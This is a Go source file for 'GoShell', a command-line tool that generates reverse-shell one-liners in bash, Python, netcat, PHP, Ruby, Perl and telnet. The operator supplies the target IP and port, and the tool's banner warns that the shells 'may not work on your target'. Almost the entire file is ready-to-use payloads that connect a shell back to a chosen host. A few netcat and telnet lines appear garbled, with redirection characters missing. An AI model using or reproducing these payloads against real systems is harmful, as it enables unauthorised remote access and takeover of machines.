-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.go
120 lines (107 loc) · 3.59 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
package main
import (
"fmt"
"log"
"os"
"sort"
. "github.com/logrusorgru/aurora"
"github.com/urfave/cli"
)
func main() {
app := cli.NewApp()
app.Name = "GoShell"
app.Usage = "Generate reverse shells in command line"
myFlags := []cli.Flag{
&cli.StringFlag{
Name: "ip",
Value: "127.0.0.1",
},
&cli.StringFlag{
Name: "port",
Value: "8080",
},
}
app.Commands = []cli.Command{
{
Name: "bash",
Usage: "Generate a Bash reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "python",
Usage: "Generate a Python reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "nc",
Usage: "Generate NetCat reverse shells",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Print(fmt.Sprint(Magenta("#1: ")))
fmt.Printf("nc -e /bin/sh %s %s\n", c.String("ip"), c.String("port"))
fmt.Print(fmt.Sprint(Magenta("#2: ")))
fmt.Printf("/bin/sh | nc %s %s\n", c.String("ip"), c.String("port"))
fmt.Print(fmt.Sprint(Magenta("#3: ")))
fmt.Printf("rm -f /tmp/p; mknod /tmp/p p && nc %s %s 0/tmp/p\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "php",
Usage: "Generate a PHP reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Print(fmt.Sprint(Green("(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)\n")))
fmt.Printf("php -r '$sock=fsockopen(\"%s\",%s);exec(\"/bin/sh -i <&3 >&3 2>&3\");'", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "ruby",
Usage: "Generate a Ruby reverse shell",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("ruby -rsocket -e'f=TCPSocket.open(\"%s\",%s).to_i;exec sprintf(\"/bin/sh -i <&%%d >&%%d 2>&%%d\",f,f,f)'", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "perl",
Usage: "Generate Perl reverse shells",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Print(fmt.Sprint(Magenta("-- for Linux (and maybe Windows):\n")))
fmt.Printf("perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n", c.String("ip"), c.String("port"))
fmt.Print(fmt.Sprint(Magenta("-- for Windows:\n")))
fmt.Printf("perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%s\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\n", c.String("ip"), c.String("port"))
return nil
},
},
{
Name: "telnet",
Usage: "Generate a telnet reverse shells",
Flags: myFlags,
Action: func(c *cli.Context) error {
fmt.Printf("rm -f /tmp/p; mknod /tmp/p p && telnet %s %s 0/tmp/p\n", c.String("ip"), c.String("port"))
return nil
},
},
}
// Start message
fmt.Print(fmt.Sprint(Blue("GoShell - (c)2020 - Hugo Blanc (ezekiel)\n").Bold()))
fmt.Print(fmt.Sprint(Red("Note that those shells may not work on your target !\n\n").Bold()))
// Sort commands list in help panel by name
sort.Sort(cli.CommandsByName(app.Commands))
err := app.Run(os.Args)
if err != nil {
log.Fatal(err)
}
}